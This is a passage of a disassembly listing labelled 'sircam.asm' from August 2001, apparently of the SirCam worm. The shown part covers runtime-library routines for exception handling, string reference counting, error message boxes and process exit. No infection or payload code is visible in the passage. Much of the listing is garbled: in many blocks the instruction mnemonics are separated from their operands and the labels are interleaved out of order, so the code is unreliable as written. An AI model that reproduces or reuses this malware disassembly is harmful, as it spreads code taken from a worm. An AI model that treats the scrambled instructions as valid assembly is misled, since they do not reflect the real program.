ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4030D9: ; CODE XREF: CODE:0040307B\030j mov al, 0D8h jmp short loc_4030EB ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4030DD: ; CODE XREF: CODE:0040309E\030j mov al, 0DAh jmp short loc_4030EB ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4030E1: ; CODE XREF: CODE:004030B9\030j mov al, 0D9h jmp short loc_4030EB ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4030E5: ; CODE XREF: CODE:004030B4\030j mov al, 0CAh jmp short loc_4030EB ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4030E9: ; CODE XREF: CODE:00403087\030j ; CODE:00403095\030j ... mov loc_4030EB: al, 0FFh ; CODE XREF: CODE:004030BF\030j ; CODE:004030C3\030j ... and eax, 0FFh mov edx, [edx+0Ch] call sub_403050 pop ebp retn 4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ sircam.asm Fri Aug 10 12:42:44 2001 loc_4030FC: mov test jnz cmp ja lea push call cmp jz 69 ; DATA XREF: sub_403198+D\031o eax, [esp+4] dword ptr [eax+4], 6 loc_403195 ds:byte_41C008, 0 short loc_403125 eax, [esp+4] eax j_UnhandledExceptionFilter eax, 0 short loc_403195 loc_403125: ; CODE XREF: CODE:00403114\030j mov cld call mov push push push push call loc_403141: eax, [esp+4] sub_402B4C edx, [esp+8] 0 eax offset loc_403141 edx j_RtlUnwind mov cmp mov mov jz mov test jz mov call test jz mov ; DATA XREF: CODE:00403136\030o ebx, [esp+4] dword ptr [ebx], 0EEDFADEh edx, [ebx+14h] eax, [ebx+18h] short loc_403170 edx, ds:dword_41E00C edx, edx loc_40305C eax, ebx edx eax, eax loc_40305C edx, [ebx+0Ch] call mov test jz call ; CODE XREF: CODE:00403151\030j sub_402E14 ecx, ds:dword_41E000 ecx, ecx short loc_403181 ecx loc_403170: loc_403181: ; CODE XREF: CODE:0040317D\030j mov ecx, [esp+4] mov eax, 0D9h mov edx, [ecx+14h] mov [esp], edx jmp sub_4034BC ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_403195: ; CODE XREF: CODE:00403107\030j ; CODE:00403123\030j xor retn eax, eax ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_403198 proc near ; CODE XREF: sub_4032A0+1D\031p xor edx, edx lea eax, [ebp-0Ch] mov ecx, fs:[edx] mov fs:[edx], eax mov [eax], ecx mov dword ptr [eax+4], offset loc_4030FC mov [eax+8], ebp mov ds:dword_41E4A0, eax sircam.asm sub_403198 Fri Aug 10 12:42:44 2001 70 retn endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4031B8 proc near ; CODE XREF: sub_403390+BC\031p xor edx, edx mov eax, ds:dword_41E4A0 mov ecx, fs:[edx] cmp eax, ecx jnz short loc_4031CF mov eax, [eax] mov fs:[edx], eax retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4031CD: ; CODE XREF: sub_4031B8+1E\031j mov ecx, [ecx] cmp jz cmp jnz mov mov ; CODE XREF: sub_4031B8+D\030j ecx, 0FFFFFFFFh short locret_4031DC [ecx], eax short loc_4031CD eax, [eax] [ecx], eax loc_4031CF: locret_4031DC: sub_4031B8 ; CODE XREF: sub_4031B8+1A\030j retn endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_4031E0 proc near ; CODE XREF: sub_4031E0+4B\031p ; sub_403240+4B\031p ... push mov push push push mov mov test jz mov mov xor push push push mov test jle ebp ebp, esp ebx esi edi edi, offset unk_41E49C eax, [edi+8] eax, eax short loc_40323A ebx, [edi+0Ch] esi, [eax+4] edx, edx ebp offset loc_403226 dword ptr fs:[edx] fs:[edx], esp ebx, ebx short loc_40321C dec mov mov test jz call ; CODE XREF: sub_4031E0+3A\031j ebx [edi+0Ch], ebx eax, [esi+ebx*8+4] eax, eax short loc_403218 eax loc_40320A: sircam.asm Fri Aug 10 12:42:44 2001 loc_403218: 71 ; CODE XREF: sub_4031E0+34\030j test jg ebx, ebx short loc_40320A loc_40321C: ; CODE XREF: sub_4031E0+28\030j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx jmp short loc_40323A ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_403226: ; DATA XREF: sub_4031E0+1B\030o jmp loc_402E34 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ call sub_4031E0 call sub_402FB4 call sub_403008 loc_40323A: sub_4031E0 ; CODE XREF: sub_4031E0+10\030j ; sub_4031E0+44\030j pop pop pop pop retn endp edi esi ebx ebp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_403240 proc near ; CODE XREF: sub_4032A0+29\031p push ebp mov ebp, esp push ebx push esi push edi mov eax, ds:dword_41E4A4 test eax, eax jz short loc_40329A mov esi, [eax] xor ebx, ebx mov edi, [eax+4] xor edx, edx push ebp push offset loc_403286 push dword ptr fs:[edx] mov fs:[edx], esp cmp esi, ebx jle short loc_40327C loc_403268: mov inc mov test jz call ; CODE XREF: sub_403240+3A\031j eax, [edi+ebx*8] ebx ds:dword_41E4A8, ebx eax, eax short loc_403278 eax cmp jg esi, ebx short loc_403268 loc_403278: loc_40327C: ; CODE XREF: sub_403240+34\030j ; CODE XREF: sub_403240+26\030j sircam.asm Fri Aug 10 12:42:44 2001 72 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx jmp short loc_40329A ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_403286: ; DATA XREF: sub_403240+19\030o jmp loc_402E34 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ call sub_4031E0 call sub_402FB4 call sub_403008 loc_40329A: sub_403240 ; CODE XREF: sub_403240+D\030j ; sub_403240+44\030j pop pop pop pop retn endp edi esi ebx ebp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4032A0 sub_4032A0 proc near ; CODE XREF: sub_405A80+2C\031p mov ds:dword_41E4A4, eax xor eax, eax mov ds:dword_41E4A8, eax mov ds:dword_41E4AC, edx mov eax, [edx+4] mov ds:dword_41E01C, eax call sub_403198 mov ds:byte_41E024, 0 call sub_403240 retn endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4032D0 proc near push ebx push esi mov ebx, [eax] lea esi, [eax+4] loc_4032D7: ; CODE XREF: sub_40B2D4+1F\031p sub_4032D0 ; CODE XREF: sub_4032D0+17\031j mov mov mov call add dec jnz pop pop retn endp eax, [esi+4] edx, [esi] eax, [eax] sub_404B80 esi, 8 ebx short loc_4032D7 esi ebx ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sircam.asm sub_4032EC Fri Aug 10 12:42:44 2001 proc near push ebx push esi mov ebx, [eax] lea esi, [eax+4] ; CODE XREF: sub_40B2D4+29\031p loc_4032F3: sub_4032EC 73 ; CODE XREF: sub_4032EC+19\031j mov mov mov mov add mov add dec jnz pop pop retn endp eax, [esi+4] edx, [esi] ecx, [esi+8] eax, [eax] eax, ecx [edx], eax esi, 0Ch ebx short loc_4032F3 esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40330C proc near ; CODE XREF: sub_403390+38\031p push ebx mov eax, ds:dword_41E030 mov ebx, offset aAt00000000 ; " at 00000000" mov ecx, 0Ah loc_40331D: xor div add mov dec test jnz mov call mov xchg sub mov loc_403344: sub_40330C mov and mov mov dec shr jnz pop retn endp ; CODE XREF: sub_40330C+1D\031j edx, edx ecx dl, 30h [ebx], dl ebx eax, eax short loc_40331D eax, ds:dword_41E038 sub_404610 edx, ds:dword_41E038 eax, edx eax, edx ebx, offset aAt00000000+0Ch ; CODE XREF: sub_40330C+49\031j edx, eax edx, 0Fh dl, byte ptr ds:unk_41C050[edx] [ebx], dl ebx eax, 4 short loc_403344 ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40335C proc near ; CODE XREF: sub_403390+D0\031p mov edi, offset unk_41E49C sircam.asm Fri Aug 10 12:42:44 2001 sub_40335C mov ebx, ds:dword_41E4B4 mov ebp, ds:dword_41E4B0 push dword ptr [edi+1Ch] push dword ptr [edi+20h] mov esi, [edi] mov ecx, 0Bh repe movsd pop edi pop esi xor eax, eax xchg eax, ds:dword_41E030 neg eax sbb eax, eax inc eax leave retn 0Ch endp ; sp = 4 74 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ retn ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_403390 proc near ; CODE XREF: CODE:004034B6\031j push ebx push esi push edi push ebp mov ebx, offset unk_41E49C mov esi, offset dword_41E030 mov edi, offset unk_41E034 cmp byte ptr [ebx+24h], 0 jnz short loc_4033BF cmp dword ptr [edi], 0 jz short loc_4033BF loc_4033AE: mov mov xor mov mov call cmp jnz ; CODE XREF: sub_403390+2D\031j edx, [edi] eax, edx edx, edx [edi], edx ebp, eax ebp dword ptr [edi], 0 short loc_4033AE loc_4033BF: ; CODE XREF: sub_403390+17\030j ; sub_403390+1C\030j cmp ds:dword_41E038, 0 jz short loc_40340F call sub_40330C cmp ds:byte_41E040, 0 jz short loc_4033EC mov edx, offset unk_41C028 mov eax, offset unk_41E214 call sub_40528C call sub_40520F jmp short loc_403408 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4033EC: cmp jnz push push push push call ; CODE XREF: sub_403390+44\030j ds:byte_41C010, 0 short loc_403408 0 offset aError ; "Error" offset unk_41C028 0 j_MessageBoxA sircam.asm Fri Aug 10 12:42:44 2001 loc_403408: ; CODE XREF: sub_403390+5A\030j ; sub_403390+63\030j xor mov eax, eax ds:dword_41E038, eax cmp jnz cmp jnz xor mov ; CODE XREF: sub_403390+36\030j ; sub_403390+F1\031j byte ptr [ebx+24h], 2 short loc_40341F dword ptr [esi], 0 short loc_40341F eax, eax [ebx+0Ch], eax loc_40340F: loc_40341F: ; CODE XREF: sub_403390+83\030j ; sub_403390+88\030j call cmp jbe cmp jz sub_4031E0 byte ptr [ebx+24h], 1 short loc_40342F dword ptr [esi], 0 short loc_40344C mov test jz call mov mov cmp jz push call eax, [ebx+10h] eax, eax short loc_40344C sub_404B10 eax, [ebx+10h] edx, [eax+10h] edx, [eax+4] short loc_40344C edx j_FreeLibrary loc_40342F: ; CODE XREF: sub_403390+98\030j loc_40344C: ; CODE XREF: sub_403390+9D\030j ; sub_403390+A4\030j ... call cmp jnz call sub_4031B8 byte ptr [ebx+24h], 1 short loc_40345A dword ptr [ebx+28h] cmp jz call ; CODE XREF: sub_403390+C5\030j byte ptr [ebx+24h], 0 short loc_403465 sub_40335C cmp jnz mov push call ; CODE XREF: sub_403390+CE\030j dword ptr [ebx], 0 short loc_403472 eax, [esi] eax j_ExitProcess loc_40345A: loc_403465: loc_403472: sub_403390 75 ; CODE XREF: sub_403390+D8\030j mov eax, [ebx] push esi mov esi, eax mov edi, ebx mov ecx, 0Bh repe movsd pop esi jmp short loc_40340F endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ aPortionsCopyri db ’Portions Copyright (c) 1983,99 Borland’,0 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ pop ebp pop edi pop esi sircam.asm Fri Aug 10 12:42:44 2001 76 pop ebx retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 loc_4034B0: ; CODE XREF: sub_4034BC+6\031j mov ds:dword_41E030, eax jmp sub_403390 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ retn ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4034BC proc near sub_4034BC pop jmp endp ; CODE XREF: sub_402618+24\030j ; CODE:00402810\030j ... ds:dword_41E038 loc_4034B0 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ retn ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4034C8 proc near ; CODE XREF: sub_4035B0+23\031p ; CODE:004035F6\031p ... mov edx, [eax] test edx, edx jz short locret_4034EA mov dword ptr [eax], 0 mov ecx, [edx-8] dec ecx jl short locret_4034EA lock dec dword ptr [edx-8] jnz short locret_4034EA push eax lea eax, [edx-8] call sub_4025B0 pop eax locret_4034EA: sub_4034C8 ; CODE XREF: sub_4034C8+4\030j ; sub_4034C8+10\030j ... retn endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4034EC proc near push push mov mov loc_4034F2: ; CODE XREF: sub_403BE8+63\031p ; sub_4084A8+73B\031p ... ebx esi ebx, eax esi, edx ; CODE XREF: sub_4034EC+2A\031j mov edx, [ebx] test edx, edx jz short loc_403512 mov dword ptr [ebx], 0 mov ecx, [edx-8] dec ecx jl short loc_403512 lock dec dword ptr [edx-8] jnz short loc_403512 sircam.asm Fri Aug 10 12:42:44 2001 lea call eax, [edx-8] sub_4025B0 loc_403512: sub_4034EC 77 ; CODE XREF: sub_4034EC+A\030j ; sub_4034EC+16\030j ... add dec jnz pop pop retn endp ebx, 4 esi short loc_4034F2 esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40351C proc near ; CODE XREF: sub_40372C+8\031j ; sub_403770+6\031j ... test edx, edx jz short loc_403544 mov ecx, [edx-8] inc ecx jg short loc_403540 push eax push edx mov eax, [edx-4] call sub_40358C mov edx, eax pop eax push edx mov ecx, [eax-4] call sub_4026B0 pop edx pop eax jmp short loc_403544 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_403540: ; CODE XREF: sub_40351C+8\030j dword ptr [edx-8] lock inc loc_403544: ; CODE XREF: sub_40351C+2\030j ; sub_40351C+22\030j xchg edx, [eax] test edx, edx jz short locret_40355E mov ecx, [edx-8] dec ecx jl short locret_40355E lock dec dword ptr [edx-8] jnz short locret_40355E lea eax, [edx-8] call sub_4025B0 locret_40355E: sub_40351C ; CODE XREF: sub_40351C+2C\030j ; sub_40351C+32\030j ... retn endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_403560 proc near test edx, edx ; CODE XREF: sub_408234+58\031p ; sub_4083A0+57\031p ... sircam.asm Fri Aug 10 12:42:44 2001 78 jz short loc_40356E mov ecx, [edx-8] inc ecx jle short loc_40356E lock inc dword ptr [edx-8] loc_40356E: ; CODE XREF: sub_403560+2\030j ; sub_403560+8\030j xchg edx, [eax] test edx, edx jz short locret_403588 mov ecx, [edx-8] dec ecx jl short locret_403588 lock dec dword ptr [edx-8] jnz short locret_403588 lea eax, [edx-8] call sub_4025B0 locret_403588: sub_403560 ; CODE XREF: sub_403560+12\030j ; sub_403560+18\030j ... retn endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40358C proc near ; CODE XREF: sub_40351C+F\030p ; sub_4035B0+B\031p ... test eax, eax jle short loc_4035AC push eax add eax, 9 call sub_402598 add eax, 8 pop edx mov [eax-4], edx mov dword ptr [eax-8], 1 mov byte ptr [eax+edx], 0 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4035AC: sub_40358C ; CODE XREF: sub_40358C+2\030j xor retn endp eax, eax ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4035B0 proc near push push push mov mov mov mov call mov mov test jz ebx esi edi ebx, eax esi, edx edi, ecx eax, edi sub_40358C ecx, edi edi, eax esi, esi short loc_4035D1 ; CODE XREF: sub_4026F0+66\030p ; sub_402768+28\030p ... sircam.asm Fri Aug 10 12:42:44 2001 mov mov call edx, eax eax, esi sub_4026B0 mov call mov pop pop pop retn endp eax, ebx sub_4034C8 [ebx], edi edi esi ebx loc_4035D1: sub_4035B0 79 ; CODE XREF: sub_4035B0+16\030j ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 loc_4035E0: ; CODE XREF: CODE:004036E3\031j ; CODE:0040371B\031j push ebx push esi push edi push ebp add esp, 0FFFFF800h mov ebx, ecx mov ebp, edx mov edi, eax test ebx, ebx jg short loc_4035FD mov eax, edi call sub_4034C8 jmp short loc_403664 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4035FD: ; CODE XREF: CODE:004035F2\030j cmp ebx, 400h jge short loc_403631 push 0 push 0 push 800h lea eax, [esp+0Ch] push eax push ebx push ebp push 0 push 0 call j_WideCharToMultiByte mov esi, eax test esi, esi jle short loc_403631 mov edx, esp mov eax, edi mov ecx, esi call sub_4035B0 jmp short loc_403664 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_403631: ; CODE XREF: CODE:00403603\030j ; CODE:00403622\030j push push push push push push push push call mov mov 0 0 0 0 ebx ebp 0 0 j_WideCharToMultiByte esi, eax eax, edi sircam.asm Fri Aug 10 12:42:44 2001 mov xor call push push push mov push push push push push call 80 ecx, esi edx, edx sub_4035B0 0 0 esi eax, [edi] eax ebx ebp 0 0 j_WideCharToMultiByte loc_403664: ; CODE XREF: CODE:004035FB\030j ; CODE:0040362F\030j add esp, 800h pop ebp pop edi pop esi pop ebx retn ; 